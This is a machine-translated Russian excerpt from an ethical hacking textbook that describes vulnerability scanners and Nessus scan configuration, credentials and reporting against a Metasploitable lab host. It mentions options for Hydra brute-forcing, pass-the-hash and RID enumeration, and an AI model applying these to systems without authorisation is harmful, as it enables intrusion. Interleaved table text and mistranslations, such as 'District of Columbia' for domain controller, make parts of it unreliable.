Существуют различные автоматизированные сканеры уязвимостей, которые содержат обновленные
базы данных всех уязвимостей. Ниже приведены некоторые из наиболее эффективных:

Стр. Решебника 149

сканеры известных уязвимостей:

Tenable Nessus

Самый популярный и широко используемый сканер уязвимостей.


Можно скачать с:
https://www.tenable.com/products/nessus-vulnerability-scanner
Есть домашняя версия (бесплатная) и профессиональная.
(коммерческая) версия.

OpenVAS
Бесплатный сканер уязвимостей с открытым исходным кодом.
Доступно в Kali Linux.
Домашняя страница: http://www.openvas.org
Core Impact
Самый мощный сканер уязвимостей.
Включает фреймворк для эксплуатации.
Очень дорого.
Домашняя страница: https://www.coresecurity.com/core-impact

Сканер безопасности Nessus


Nessus - наиболее часто используемый сканер уязвимостей в мире. Это было
разработан Рено Дерасоном, соучредителем Tenable Network Security,
в 1998 году. Изначально Nessus был бесплатным программным обеспечением с открытым исходным кодом. И это
чехол для Nessus v1 и v2; однако, начиная с Nessus 3, инструмент имеет
стать проприетарным инструментом с закрытым исходным кодом. Последняя версия Nessus от

https://translate.googleusercontent.com/translate_f 112/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
2016 год, это 6.
Nessus выполняет автоматическое удаленное сканирование уязвимостей. Он содержит
база данных практически всех существующих и общедоступных уязвимостей; и это
база данных обновляется ежедневно. Каждая уязвимость обнаруживается через
определенный плагин, который отвечает за выполнение необходимых действий для
обнаружить, сообщить об этом. Существует более 80000 плагинов, охватывающих удаленные и
локальные уязвимости.
Установка Nessus
Текущая версия Nessus - 8, и ее можно загрузить с
Веб-сайт:

Стр.150

https://www.tenable.com/products/nessus
Бесплатная версия называется «Nessus Essentials», а платная -
называется «Nessus Professional». Nessus Essentials может сканировать до 16 IP-адресов.
только адреса. Это хорошо для образовательных целей. Nessus поддерживает
Microsoft Windows, Linux (Redhat, Debian, Ubuntu и др.), А также Mac
OS X. Загрузите версию, подходящую для вашей операционной системы.
Дополнительно вам понадобится лицензионный ключ, который будет отправлен на вашу электронную почту.
адрес, как только вы зарегистрируетесь онлайн.
Когда вы впервые запустите программу установки, она установит Nessus без подключаемых модулей (которые
определить сигнатуры уязвимостей). Таким образом, чтобы завершить
После установки вы можете получить доступ к Nessus из браузера, введя URL-адрес:
https: // localhost: 8834
Вам будет предложено ввести лицензионный ключ, а затем он запустится.
скачивание плагинов. Это может занять некоторое время и требует непрерывного
Подключение к Интернету:

Вам также будет предложено ввести имя пользователя и пароль. Эти полномочия
будет использоваться для доступа к панели управления Nessus:

https://translate.googleusercontent.com/translate_f 113/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 151

Шаблоны сканирования
Если вы хотите запустить новое сканирование, вам будет предложено выбрать шаблон.
А значит, стоит разобраться, что такое шаблон сканирования перед
приступаем к запуску нового сканирования.

Шаблон сканирования - это просто группа включенных плагинов. Плагин - это


единая сигнатура единственной уязвимости. Если какой-то плагин включен, он
означает, что Nessus может обнаружить связанную уязвимость, если она существует в
сканированная цель. Плагин также определяет описание и рекомендации
за эту уязвимость.

Стр. Решебника 152

Вместо того, чтобы включать все плагины и, следовательно, сканировать все уязвимости,
иногда администратор безопасности хочет просканировать свою сеть на предмет определенного
множество уязвимостей. Шаблон сканирования включает соответствующие плагины.
при отключении всех остальных.
Настраивается только шаблон «Расширенное сканирование». Вы можете включить все
плагины или любой набор плагинов по вашему желанию. Остальные шаблоны предопределены.
Таким образом, если вы хотите запустить наиболее полное сканирование, выберите Расширенный
Сканируйте и активируйте все плагины. Однако недостатком здесь является медлительность.
Если вы хотите выполнить сканирование с включенными наиболее распространенными плагинами, вы

https://translate.googleusercontent.com/translate_f 114/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
можно использовать «Базовое сетевое сканирование».
Настройка нового сканирования
Для демонстрации здесь мы выберем «Расширенное сканирование».
шаблон. На следующей странице вам необходимо настроить основные параметры
сканировать. Вы можете ввести имя, описание и цели. Целью может быть
одиночный IP-адрес или имя хоста, или список имен хостов / IP-адресов, разделенных запятыми.

Вы увидите три вкладки на верхней панели:

Настройки : настройки, связанные со сканированием портов, уязвимостью.


сканирование, отчетность, а также производительность сканирования.
Учетные данные : вы можете определить набор учетных данных для выполнения
Проверка подлинности. Проверка подлинности означает, что сканер Nessus будет
войдите в удаленную цель и попытайтесь обнаружить уязвимости

Стр. Решебника 153

которые иначе невозможно обнаружить. Например, уязвимый


Программа Adobe Acrobat Reader не может быть обнаружена через
обычное сканирование без аутентификации; но аутентифицированное сканирование может уловить
Это.
Плагины : поскольку это расширенное сканирование, у вас будет возможность
для включения и / или отключения любого плагина по вашему желанию.

Вкладка настроек
На вкладке «Настройки» слева вы увидите разные разделы.
панель:

BASIC : он содержит следующие подразделы:


Общие :
Имя Вы можете дать название своему сканированию
Описание При желании вы можете дать
описание вашего сканирования
Папка Вы можете указать где хранить
результаты сканирования сохраняются.
Цели Вы можете указать один или несколько
целевые хосты.
Загрузить цели Вы можете загрузить файл со списком
целевых хостов.

https://translate.googleusercontent.com/translate_f 115/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Расписание :
Включено По умолчанию расписание
отключено, что означает сканирование
будет работать немедленно.
Кроме того, вы можете запланировать
запустить сканирование в указанное время.
Как только вы включите расписание,
ниже появляются параметры.
Частота Вы можете указать, хотите ли вы запустить
сканирование только один раз или на
на периодической основе (ежедневно, еженедельно,

Стр. Решебника 154

ежемесячно или ежегодно).


Начинается Дата и время начала сканирования.
Часовой пояс Часовой пояс, в котором вы находитесь
точные отметки времени.
Резюме Сводка расписания.

Уведомления :
Получатели электронной почты
Если вы хотите получить
уведомление при сканировании
заканчивается, вы можете ввести один или
больше адресов электронной почты.
Фильтры результатов Вы можете определить, какой тип
информация для отправки по электронной почте
уведомление.

DISCOVER : этот раздел предназначен для конфигураций, связанных с хостом.


обнаружение, сканирование портов, идентификация версии службы и ОС
снятие отпечатков пальцев. Он состоит из следующих подразделов:
Обнаружение хоста :
Пинг удаленного хоста
Пинговать удаленный хостПо умолчанию это включено. "Пинг"
здесь имеется ввиду не только ICMP
Эхо, а скорее любая форма хоста
открытие. «Методы пинга» -
ниже - подробности о доступных
формы пинга.

общие настройки
Протестируйте местный Nessus
Если запущенная система
хозяин Нессус попадает в цель
диапазон, Nessus будет сканировать свои собственные
система, если эта опция включена.
Используйте быструю сетьЕсли этот параметр включен, сканер Nessus будет рассматривать

https://translate.googleusercontent.com/translate_f 116/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр.155

восстановление целевой хост, как только он


получает ответ ICMP. Этот
может генерировать ложные срабатывания
поскольку некоторые прозрачные прокси
возможно, ответил на пинг.
Когда эта опция отключена
(по умолчанию), Nessus всегда будет
выполнить дополнительные проверки, чтобы сделать
уверен, что целевой хост действительно
жить.

Методы проверки связи


ARP Если этот параметр включен, сканер Nessus будет использовать
Протокол ARP, чтобы определить,
целевой хост включен. Это работает только
в локальной подсети, поскольку ARP не
маршрутизируемый.
TCP Если этот параметр включен, сканер Nessus будет использовать
Протокол TCP, чтобы определить,
целевой хост включен. Вы можете указать
какие номера портов TCP использовать.
Встроенный список по умолчанию содержит
около 28 самых распространенных портов
(например, 25, 111, 53, 443, 23, 21, 80,
так далее.)
ICMP Если этот параметр включен, сканер Nessus будет использовать
Протокол ICMP, чтобы определить,
целевой хост включен.
UDP Если этот параметр включен, сканер Nessus будет использовать
Протокол UDP, чтобы определить,
целевой хост включен.

Хрупкие устройства

Стр. Решебника 156

Сканировать сеть Если этот параметр включен, Nessus будет сканировать


Принтеры сетевые принтеры. По умолчанию это
отключен, поскольку принтеры
считается хрупким и может иметь
разрушительные эффекты при сканировании.
Сканирование Novell Netware
Если этот параметр включен, Nessus будет сканировать
хозяева системы, идентифицированные как Novell

https://translate.googleusercontent.com/translate_f 117/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Netware.
Сканирование в рабочем состоянии
Если этот параметр включен, Nessus будет сканировать
Технологические устройства
устройства, идентифицированные как работающие
Технологии (ОТ). К ним относятся
ПЛК (программируемая логика
Контроллеры), SCADA
(Диспетчерский контроль и данные
Приобретение) и DCS
(Распределенная система управления) и др.

Wake On LAN
Список MAC-адресов Вы можете предоставить файл со списком
MAC-адресов устройств, которые
есть Wake-on-LAN (WOL)
включено. Затем Nessus отправит
WOL Magic Packets тем, кто
устройства для их загрузки, а затем
сканировать их.
Ожидание времени загрузки
Это(вопределяет период времени до
минут) ждать между отправкой WOL
пакет и сканирование.

Сканирование портов :
Порты
Считать непроверенными Если этот параметр включен, сканер Nessus будет рассматривать

Стр. Решебника 157

порты как закрытые порты, выходящие за пределы


диапазон сканирования как закрытый.
Вы можете указать диапазон портов
Диапазон сканирования портов
используя формат <начальный порт> -
<конечный порт> (например, 1-1024)

Дополнительно можно использовать два


ключевые слова:
1. «по умолчанию » - это будет сканировать
около 4790 самых распространенных
порты.
2. « all » - сканировать все порты.
включая 0 (эквивалент 0-
65535 )

Перечислители локальных портов


SSH (netstat) Nessus может войти в целевой
хост с использованием SSH, а затем используйте
команда netstat для перечисления
открытые порты. Этот вариант требует
что вы предоставляете учетные данные SSH
https://translate.googleusercontent.com/translate_f 118/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
на вкладке Учетные данные.
WMI (netstat) Nessus может войти в целевой
хост с помощью WMI, а затем используйте
команда netstat для перечисления
открытые порты. Этот вариант требует
что вы предоставляете Windows
учетные данные под учетными данными
таб.
SNMP Nessus может запрашивать SNMP
сервер на целевом хосте для
перечислить открытые порты. Этот
требует, чтобы вы предоставили SNMP
учетные данные на вкладке Учетные данные.

Стр. Решебника 158

Только запустить сетевой порт


Если этот параметр включен, сканер Nessus будет выполнять
сканеры, если локальный порт
первое перечисление локальных портов и
перечисление не удалось если это не удается, он выполняет сеть
сканирование портов.
Проверить открытые порты
Если
TCP этот параметр включен, сканер Nessus будет выполнять
найдено местным портом сканирование сетевого порта на каждом
счетчики порт, который указан как открытый
путем перечисления локальных портов.

Сканеры сетевых портов


TCP Если этот параметр включен, сканер Nessus выполнит 3-
рукопожатие для каждого открытия
порт. Это называется подключением сканирования.
SYN Если этот параметр включен, сканер Nessus будет выполнять
SYN сканирование. Это называется половинным сканированием.
так как трехстороннее рукопожатие не
завершенный.
UDP Если этот параметр включен, сканер Nessus будет выполнять
UDP сканирование.

Обнаружение услуг :

общие настройки
Проверьте все порты, чтобы
Если
найти
этот параметр включен, сканер Nessus попытается
Сервисы определить сервисную версию
каждый открытый порт.
Искать SSL / TLS Если включено, вы будете контролировать, как
Сервисы Nessus обнаруживает службы,
включить SSL / TLS.
Искать SSL / TLS Есть два варианта:
на
Известные порты SSL / TLS
Только те порты, которые известны
использовать SSL / TLS проверены.

https://translate.googleusercontent.com/translate_f 119/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 159

Все порты
Каждый открытый порт проверяется, если он
работает SSL / TLS

Определить сертификаты Определите сертификаты, которые будут


истекает в течение x дней истекает через определенное количество
дней.
Перечислить все Если этот параметр включен, сканер Nessus попытается
Шифры SSL / TLS перечислить все доступные шифры по
установление соединений с использованием
каждый возможный шифр.
Включить проверку CRL Если включено, каждый найденный сертификат
(подключается к проверяется, если он отозван.
Интернет)

ОЦЕНКА : этот раздел предназначен для конфигураций, связанных с


особенно для оценки уязвимости. Он содержит следующие
подразделы:
Общие :
Точность
Отменить нормальный У Нессуса свой способ
точность определение и игнорирование ложных
положительные. Включив это, вы
есть возможность переопределить это.
Здесь есть два варианта:

1. Избегайте потенциальных ложных срабатываний.


Это заставляет Nessus агрессивно
фильтрует ложные срабатывания за пределами своего
нормальная точность. Можете быть уверены
что вывод будет содержать только
истинные положительные стороны. В этом есть опасность
игнорирования некоторых истинных
положительные.

Стр. Решебника 160

2. Показать возможные ложные срабатывания.


Это заставляет Несс игнорировать
сигналы тревоги, которые явно ложные
положительные. Сомнительные тревоги будут
показано. Вы можете быть уверены, что нет
истинный положительный результат опущен. Тем не мение,
https://translate.googleusercontent.com/translate_f 120/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

это делает вывод больше и


может содержать ложные срабатывания.
Выполнять тщательные Это приводит к тому, что некоторые плагины
тесты (может нарушить выполнять более навязчивые и глубокие
ваша сеть или сканирование. Например, если плагин
скорость сканирования при
перечисление
ударе) каталогов и файлов,
тогда вместо поиска внутри
1- й уровень подкаталогов, Nessus
перечислит 3 уровня
подкаталоги. Другой пример
перебор пароля; по умолчанию,
Nessus не использует грубую силу
пароли. Однако если этот вариант
включен, сканер Nessus попытается
брутфорс все учетные данные для доступа
он находит.

Антивирус
Определение антивируса Nessus сканирует антивирус
льготный период (в днях) подписи и определяет,
актуальны или нет. Номер
дней здесь определяет сколько лет
подписи могут быть перед
поднята тревога. Например, если
срок 3 дня, то есть
не поднимается тревога, если подписи
не обновлялись за последние
3 дня; будет поднята тревога

Стр. Решебника 161

однако если последняя подпись


обновление произошло более чем
3 дня назад.

SMTP
Сторонний домен Это часть оценки SMTP.
Каждый раз, когда Нессус обнаруживает
SMTP-сервер в качестве цели, он
пытается отправить спам по электронной почте
через него на сторонний домен.
Домен должен находиться за пределами
целевой домен.
С адреса Это определяет Из - адреса,
появляется в тестовом спаме.
Адресовать Это определяет К - адрес , что
появляется в тестовом спаме.

Грубая сила :

https://translate.googleusercontent.com/translate_f 121/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
общие настройки
Используйте только учетные
Если
данные
этот параметр включен, Nessus
предоставляется пользователем.
не будет пытаться проверить значение по умолчанию
имя пользователя и пароли. Этот
вариант хорош в том случае, если цель
учетная запись настроена с
политика блокировки после некоторого сбоя
испытания.

База данных Oracle


Проверить учетные записиЕсли
по умолчанию
этот параметр включен, Nessus будет проверять значение по ум
(медленный) логины и пароль на любом
Найденный сервер баз данных Oracle.

Стр. Решебника 162

Гидра
Всегда включать Гидру Hydra - сетевой пароль
(медленный) инструмент для взлома. Если эта опция
включен, Nessus будет использовать Hydra для
брутфорс имена пользователей и
пароли на серверах, требующие
аутентификация.
Файл логинов Вы можете указать файл со списком
имен пользователей, которые будут использоваться Гидрой
Файл паролей Вы можете указать файл со списком
паролей, которые будет использовать Hydra.

Веб-приложения :
Настройки веб-приложения
Сканирование веб-приложений. Вы можете включить сканирование веб-приложений.
приложения, которые отключены
дефолт. Когда Нессус обнаруживает
веб-сервер (например, Apache на порту
80), по умолчанию он пытается только
обнаружить на уровне сервера
уязвимости. Это не будет оценивать
запущенное веб-приложение (например, PHP)
поверх веб-сервера. если ты
включите эту опцию, дополнительный
список параметров может потребоваться
настроен.

Windows :
общие настройки
Запросить информацию По умолчанию сканер Nessus пытается
о домене SMB перечислить локальных пользователей Windows.
Если вы включите эту опцию, Nessus

https://translate.googleusercontent.com/translate_f 122/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
попытается перечислить

Стр. Решебника 163

Пользователи домена.

Методы перечисления пользователей


Реестр SAM Если этот параметр включен, сканер Nessus будет проверять
Реестр SAM для перечисления пользователей.
Запрос ADSI Если этот параметр включен, сканер Nessus будет использовать Activ
Интерфейсы службы каталогов
(ADSI) для перечисления пользователей.
Однако вы должны настроить
учетные данные для ADSI в
Раздел учетных данных.
Запрос WMI Если этот параметр включен, сканер Nessus будет использовать
Интерфейс управления Windows
(WMI) для перечисления пользователей.
Грубое форсирование RIDЕсли этот параметр включен, сканер Nessus попытается
Относительный идентификатор грубой силы
(RID) для перечисления пользователей.

Вредоносное ПО :

Настройки вредоносного ПО
Сканирование на наличиеЭто
вредоносных
позволяет Nessus
программ
сканировать
вредоносное ПО. Как только вы включите это
вариант, вы увидите список
параметры для настройки. Некоторые из
эти параметры:

Настраиваемый список IP-угроз Netstat


Определите файл со списком
вредоносные IP-адреса

Известные плохие хэши


Определите файл с черным списком
вредоносные хэши для обнаружения.

Стр. Решебника 164

Известные хорошие хэши


Определите файл с белым списком
хорошие хеши.

https://translate.googleusercontent.com/translate_f 123/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
ОТЧЕТ : этот раздел
Nessus генерирует предназначенотчет.
окончательный для конфигураций, связанных спод-
Он содержит следующие тем, как
разделы:
Обработка
Отменить нормальный У Nessus есть собственный способ отчетности
многословие активность плагина. Однако вы можете
контролировать этот уровень многословности - с помощью
включение этой опции - либо увеличить
или уменьшить сообщаемую информацию:

У меня ограниченное дисковое пространство. Сообщить как


как можно меньше информации
Отчет будет короче и меньше
информация не сообщается.

Сообщите столько информации, сколько


возможный
Отчет будет больше и больше
информация не сообщается.

Если включено, отчет будет включать


Показать недостающие патчи
это было информация об отсутствующих патчах, которые
заменен были заменены другими патчами.
Если отключено, Nessus включает информацию
только о недостающих патчах, которые не
заменено.
Скрыть результаты из Если этот параметр включен, сканер Nessus не будет показывать
информация о плагинах, которые работали как
плагины инициированы как
зависимость зависимости других плагинов.

Выход

Стр. Решебника 165

Разрешить пользователям редактировать


Эта опция позволяет
сканирование
редактировать
полученные результаты выходной отчет; вы можете удалить некоторые
записи или результаты из него.
Назначайте хозяев по их Если этот параметр включен, сканер Nessus будет отображать
Имя DNS имена хостов (или FQDN) вместо IP
адреса.
Показать хосты, которые Если этот параметр включен, сканер Nessus будет отображаться в
отвечать на пинг выходной отчет о целевых хостах, которые
пингуемый.
Показать недоступен Если этот параметр включен, сканер Nessus будет отображаться в
хозяева выходной отчет о целевых хостах, которые
недоступен.
Показать Unicode Если этот параметр включен, сканер Nessus будет отображать Unicode.
символы символов в выходном отчете.

РАСШИРЕННЫЙ : этот раздел предназначен для конфигураций, связанных с


производительность и оптимизация сканирования. Он содержит следующие
подразделы:
https://translate.googleusercontent.com/translate_f 124/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

общие настройки
Включить безопасные проверки
По умолчанию это включено. Несс будет
не запускать плагины, которые считаются
серьезно нарушает работу сети
устройств.
Если этот параметр включен, сканер Nessus не будет продолжать работу.
Остановить сканирование хостов
что стало сканирование цели, если в какой-то момент она
не отвечает во время обнаруживает, что цель не отвечает.
сканировать Это экономит время и ресурсы.
Сканировать IP-адреса в Если вы предоставили список IP
случайный порядок адреса, Nessus просканирует их в
случайная мода. По умолчанию Nessus
сканировать цели в последовательном порядке.

Параметры производительности

Стр. Решебника 166

Замедлить сканирование Если этот параметр включен, сканер Nessus может регулировать скорость
когда сеть сканирования для размещения
обнаружена перегрузка пропускная способность сети.
Тайм-аут сети (в Это определяет период в секундах для
секунд) который Nessus будет ждать ответа
от цели.
Это определяет максимальное количество
Максимальное количество одновременных
чеков на хост плагин проверяет одну цель на
в любой момент времени.
Максимальное количество одновременных
Это определяет максимальное
хостов количество
за сканирование хосты для одновременного сканирования в любом
данное время.
Максимальное количество Это определяет максимальное количество
параллельный TCP установлены TCP-соединения для любых
сеансов на хост заданная цель.
Максимальное количество Это определяет максимальное количество
параллельный TCP установлены TCP-соединения для
сеансов на сканирование полное сканирование независимо от того, сколько
цели сканируются.

Исключения команды поиска Unix


Некоторые плагины используют «поиск» Unix
Пользовательский путь к файлу
команда для поиска определенных файлов. Если
вы хотите исключить определенные файлы или
каталоги, предоставьте файл со списком
исключения.
Пользовательская файловаяВы можете предоставить список файловых систем для
система
исключать. Например, если вы не
хотите, чтобы Nessus находил файлы в NFS
файловую систему, вы можете добавить ее в
https://translate.googleusercontent.com/translate_f 125/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
список исключений.

Настройки отладки

Стр. Решебника 167

Детали локального сканирования


Если этот параметр включен, сканер Nessus будет регистрировать запуск и
время завершения каждого запущенного плагина
во время сканирования.
Включить плагин Если включено, журналы отладки плагина будут
отладка прилагается к выходному отчету.
Это определяет
Подробная информация в журнале аудита уровень детализации
контрольный журнал плагина.
Включите КБ База знаний по сканированию (КБ)
включает данные отладки.
Enumerate запущен Если этот параметр включен, в нем будут перечислены плагины, которые
плагины запускался во время сканирования.

Вкладка учетных данных


На вкладке учетных данных вы можете указать учетные данные для любого доступа.
метод или протокол, который поддерживает ваш целевой хост. Затем Nessus войдет в
целевой хост и выполнить дополнительные проверки. Как только вы нажмете на учетные данные
Tab вы увидите выпадающее меню категорий поддерживаемых
реквизиты для входа.

Здесь мы сосредоточимся на категории хостов, которая включает три метода


аутентификация: SNMPv3, SSH и Windows.

SNMPv3 :
Имя пользователя Чтобы сканер Nessus отправлял SNMP
запросы к серверу SNMP, ему нужен

Стр. Решебника 168

имя пользователя. Имя пользователя должно быть


уже настроен на стороне сервера.

https://translate.googleusercontent.com/translate_f 126/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Имя пользователя требуется независимо от
Уровень безопасности (ниже).
Порт Номер порта сервера SNMP. К
по умолчанию это 161.
Уровень безопасности SNMPv3 поддерживает три уровня
безопасность:

Без аутентификации и без конфиденциальности


Запросы и ответы будут ясны
текст; и все, кто знает
имя пользователя может запрашивать информацию. Если
вы выберете этот вариант, вы не будете
необходимо настроить любой из четырех
параметры ниже.

Аутентификация без конфиденциальности


Только аутентифицированные клиенты могут отправлять
Запросы. Сообщения все еще ясны
текст. Если вы выберете этот вариант, вам понадобится
предоставить алгоритм аутентификации
а также пароль аутентификации.

Аутентификация и конфиденциальность
Только аутентифицированные клиенты могут запрашивать
Информация; кроме того, все сообщения
зашифрованы. Если вы выберете это
вариант, вам необходимо указать
Алгоритм аутентификации и пароль
а также алгоритм конфиденциальности и
пароль.

Аутентификация Вам нужно выбрать хеширование


Алгоритм Алгоритм, используемый для аутентификации.

Стр. Решебника 169

Есть два варианта: SHA1 и MD5.


Аутентификация Это пароль, используемый для
пароль аутентификация.
Алгоритм конфиденциальности
Вы можете указать шифрование
алгоритм; есть два варианта: AES
и DES.
Пароль конфиденциальности
Это пароль для шифрования
(Конфиденциальность)

SSH :
Метод проверки подлинности
SSH поддерживает разные методы для
аутентификация:

Сертификат
У клиента должен быть действующий
сертификат, который нужно добавить в
https://translate.googleusercontent.com/translate_f 127/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
разрешенные сертификаты на сервере. Если
вы выберете этот вариант, вам нужно будет
настроить Nessus вместе с пользователем
Файлы сертификата и закрытого ключа. В
Метод проверки подлинности сертификата - это
перейти на метод открытого ключа
(ниже), и это лучший способ
управление открытыми ключами пользователей и доверие к ним.

Kerberos
Если SSH-сервер интегрирован с
Сервер Kerberos (например, Домен
Controller), вы можете настроить Nessus
с именем пользователя, паролем, Kerberos
сервер и домен.

Пароль
Это самая распространенная конфигурация
для SSH серверов. Вам нужно только

Стр. Решебника 170

укажите имя пользователя и пароль.

Открытый ключ
У клиента должна быть пара
закрытые и открытые ключи; открытый ключ
необходимо добавить в список разрешенных
ключи. Вам необходимо предоставить файл с
Закрытый ключ к Nessus.

Метод проверки подлинности сертификата (обязательные параметры)


Имя пользователя Имя пользователя, которому разрешен доступ к
SSH сервер
Сертификат пользователя Этот файл сертификата должен быть создан
для SSH ( который отличается от X.509
сертификаты для SSL ); возможно
генерируется таким инструментом, как ssh-key, и он
имеет расширение .pub .
Закрытый ключ Это файл, содержащий частный
ключ.

Метод проверки подлинности Kerberos (обязательные параметры)


Имя пользователя Имя пользователя, которому разрешен доступ к
SSH сервер
Пароль Пароль, связанный с
имя пользователя
Распределение ключей Сервер Kerberos. Это может быть
Центр (KDC) Контроллер домена (DC)
Область Локальное доменное имя.
https://translate.googleusercontent.com/translate_f 128/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Метод аутентификации по паролю (обязательные параметры)


Имя пользователя Имя пользователя, которому разрешен доступ к
SSH сервер

Стр. Решебника 171

Пароль Пароль, связанный с


имя пользователя

Метод аутентификации с открытым ключом (обязательные параметры)


Имя пользователя Имя пользователя, которому разрешен доступ к
SSH сервер
Закрытый ключ Это файл, содержащий частный
ключ.

Окна
Метод проверки подлинности
Существуют разные способы входа в систему
целевой хост Windows:

Kerberos
Вы можете пройти аутентификацию, используя
Протокол Kerberos. Сервер Kerberos
чаще всего является контроллером домена
(ОКРУГ КОЛУМБИЯ). Вам необходимо предоставить
имя пользователя, пароль, сервер
имя хоста / IP-адрес и домен.

KM Hash
Вы можете получить доступ к хосту Windows, используя
хеш LanManager (LM).
Аутентификация состоится
Протокол SMB. Это общеизвестно
как Pass-the-Hash.

NTLM-хэш
Вы можете получить доступ к хосту Windows, используя
новый NTLM Hash. Аутентификация
будет проходить по протоколу SMB. Этот
обычно известен как Pass-the-Hash.

Пароль

Стр. Решебника 172

Вы можете получить доступ к хосту Windows, используя


https://translate.googleusercontent.com/translate_f 129/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

типичное имя пользователя и пароль. В


пароль будет хеширован (как LM
или NTLM). Аутентификация займет
разместить через службы RPC / DCOM
(порты 137, 139, 445).

Метод проверки подлинности Kerberos (обязательные параметры)


Имя пользователя Имя пользователя, которому разрешен доступ к
Хост Windows
Пароль Пароль, связанный с
имя пользователя
Распределение ключей Сервер Kerberos. Это может быть
Центр (KDC) Контроллер домена (DC)
Домен Локальное доменное имя.

LM Hash Authentication Method (обязательные параметры)


Имя пользователя Имя пользователя, которому разрешен доступ к
Хост Windows
Хеш LM-хэш

NTLM Hash Authentication Method (обязательные параметры)


Имя пользователя Имя пользователя, которому разрешен доступ к
Хост Windows
Хеш Хеш NTLM

LM Hash Authentication Method (обязательные параметры)


Имя пользователя Имя пользователя, которому разрешен доступ к
Хост Windows
Пароль Пароль, связанный с
имя пользователя

Стр. Решебника 173

Вкладка "Плагины"
Каждая проверка уязвимости или уязвимости выполняется Nessus как
Плагин. Существует более 140 000 плагинов. Плагины сгруппированы в
семейства на основе поддерживаемых ими платформ, протоколов или функций. В качестве
как показано на изображении ниже, левая панель включает список плагинов
семейств, а правая панель включает список плагинов любых выбранных
семьи.

https://translate.googleusercontent.com/translate_f 130/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Зеленое поле с надписью «ВКЛЮЧЕНО» рядом с плагином включено; ты


можете щелкнуть зеленое поле, чтобы отключить плагин, и он станет серым с
ярлык «ОТКЛЮЧЕНО».
Зеленое поле с надписью «ВКЛЮЧЕНО» рядом с семейством плагинов означает, что
все плагины внутри категории включены. Вы можете щелкнуть это зеленое поле, чтобы
отключите все плагины в семействе, и поле станет серым с меткой
"ОТКЛЮЧЕН." Кроме того, если некоторые плагины в семействе включены во время
другие нет, коробка, связанная с семьей, станет фиолетовой с
этикетка «СМЕШАННАЯ».

Вы также можете нажать на кнопки в правом верхнем углу, чтобы включить или отключить
все плагины.

Стр. Решебника 174

Некоторые из важных семейств плагинов перечислены в следующей таблице:

Фамилия Плагины Функция


Бэкдоры Они обнаруживают наличие общих бэкдоров.
Атаки грубой силы Они пытаются подобрать учетные данные для
общие сетевые протоколы.
CISCO Они обнаруживают уязвимости в устройствах Cisco.
Базы данных Они обнаруживают уязвимости в разных SQL
базы данных (Oracle, Microsoft, MySQL, MariaDB,
так далее.).
DNS Они обнаруживают уязвимости в разных DNS
серверы (Bind ,.
Межсетевые экраны Они обнаруживают уязвимости в разных
брандмауэры (McAfee, PaloAlto, Squid, Symantec,
Фортинет, Можжевельник и др.)
FTP Они пытаются обнаружить уязвимости в FTP.
серверы (3com, Cerberus, ProFTPD и др.)
Окна Они обнаруживают уязвимости в Windows
системы.

https://translate.googleusercontent.com/translate_f 131/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Сканирование Metasploitable System


Давайте теперь посмотрим на сгенерированный отчет Nessus при сканировании
Metasploitable System с расширенным шаблоном, включающим все плагины. В
сканирование не аутентифицировано; Это означает, что учетные данные не были предоставлены. Главный
страница результатов будет выглядеть следующим образом:

Стр. Решебника 175

Панель уязвимостей состоит из четырех цветных разделов со следующими номерами:

Красный раздел : это указывает на критические уязвимости. Критический


уязвимости - это уязвимости с оценкой 10. Имеется 9 критических
уязвимости.
Оранжевая секция : это указывает на высокие уязвимости, которые
уязвимости с оценкой больше или равной 7 и меньше
10. Таких уязвимостей 7.
Желтая секция : указывает на средние уязвимости, которые
те, у кого оценка больше или равна 3 и меньше 7. Там
29 таких уязвимостей.
Зеленая секция : это указывает на низкие уязвимости, которые имеют
оценка больше 0 и меньше 3. Всего 6 таких
уязвимости.
Синий раздел : указывает на информационные примечания, которые не
уязвимости, а скорее информация о процессе сканирования
или сам целевой хост. Всего таких заметок 132.
Щелкнув в любом месте этой записи Host-Vulnerabilities , вы попадете в список
всех уязвимостей и примечаний. Ниже приведен снимок
Уязвимости:

Стр.176

https://translate.googleusercontent.com/translate_f 132/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Когда вы видите запись с фиолетовым тегом с надписью «MIXED», это означает, что это
группа уязвимостей разного уровня опасности. Они сгруппированы
вместе, потому что они связаны либо с одной и той же службой или протоколом.
Если вы нажмете на какую-либо определенную уязвимость или заметку, вам будет показана страница
с полной информацией о нем. Например, на следующем изображении показано
информация, относящаяся к Критической уязвимости « UnrealIRCd Backdoor
Обнаружение ».

Стр. Решебника 177

https://translate.googleusercontent.com/translate_f 133/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

На этой подробной странице есть различные разделы, перечисленные ниже:


Описание Это объяснение того, в чем заключается уязвимость,
его предыстория и причина, а также какой ущерб
это может вызвать при эксплуатации.
Решение Это рекомендуемое действие для снижения риска.
или исправить уязвимость.
Смотрите также Сюда входят ссылки на дополнительные материалы для чтения, которые
предоставить дополнительную информацию и подробности о
уязвимость.
Выход Это свидетельство существования
уязвимость. Он содержит результаты сканирования, которые
подтверждает уязвимость.
Подробная информацияВоэтом
плагине
разделе содержится информация о плагине
который обнаружил уязвимость. Несколько из
информация связана с серьезностью, идентификатором плагина,
семья и дата публикации.
